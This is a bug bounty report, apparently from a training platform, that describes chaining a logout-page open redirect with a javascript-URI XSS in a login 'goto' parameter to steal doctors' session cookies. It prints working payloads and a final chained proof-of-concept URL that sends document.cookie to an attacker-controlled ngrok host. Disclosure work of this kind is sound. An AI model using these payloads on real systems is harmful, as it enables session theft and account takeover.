BugBountyHunter

Summary

Hi Sean, A small background on why i did it this way.

I know there is an open redirect during login via the goto parameter which seems not to have been patched from previous reports.Important to mention this could be an xss

The parameter goto is vulnerable to XSS on login.php. The web application fails to filter the javascript URI upon redirecting. So in this report I will leverage this redirect led to by the Xss

I also know there was an open redirect during secure logout via the ref parameter which from my testing seems to be patched "somehow" as most of the payloads on previous reports don't work anymore.

Since the first Issue wasn't patched i could have just reported it but i thought i'd have a play with it to aid me to break the logic used to patch the second issue. So rather than going for the obvious i decided to have fun

It's not much but i hope you have fun reading this :)

Description

When a doctor is logged in to their panel we have a button to securely log them out . Clicking on this button redirects the doctor to the home page via the ref parameter.

Trying to control the ref I realized it only allows redirects within the same domain and sadly I was unable to break it.

So I thought ok let's give it what it wants. I decided to look for a path within the same site that has another redirect that would allow me to redirect again to an external domain ie attacker.com

So if this works I knew , any logged in doctor would first be logged out and redirected to the endpoint within same domain that has another redirect. you can see where i am going with this.

So i decided to hunt for other redirects and found the redirect on login via the goto parameter and for this I was able to redirect a doctor to an external domain using the payload javascript:window.location.href=http://7a7c-41-90-240-202.ngrok.io/?${document.cookie}

Sending the url https://4d781df5b039-c3phas.a.firstbloodhackers.com/login.php?goto=javascript:window.location.href=`http:7a7c-41-90-240-202.ngrok.io/?${document.cookie}` to a doctor would redirect them to an attacker domain (in our case the ngrok instance) once they entered their creds and clicked secure login

Good now we have a path within the same domain that allows us to redirect to an outside domain,so it's time to combine the two

For the logout redirect via ref parametr we will provide the path /login.php?goto=javascript:window.location.href=http://7a7c-41-90-240-202.ngrok.io/?${document.cookie} and since this is an internal path the logout endpoint happily redirects to it.

The process is: the logged in doctor will be logged out then redirected to the login endpoint and once they logged in again their cookies would be sent to an attacker controlled domain

final poc combining the two redirects

https://4d781df5b039-c3phas.a.firstbloodhackers.com/drpanel/logout.php?ref=/login.php?goto=javascript:window.location.href=`http://7a7c-41-90-240-202.ngrok.io/?${document.cookie}`

Impact

I was able to bypass the patch for the logout redirect and i can steal the drps token for any doctor which could lead to an account takeover.

Supporting materlal

request received on ngrok after the victim entered their creds and logged in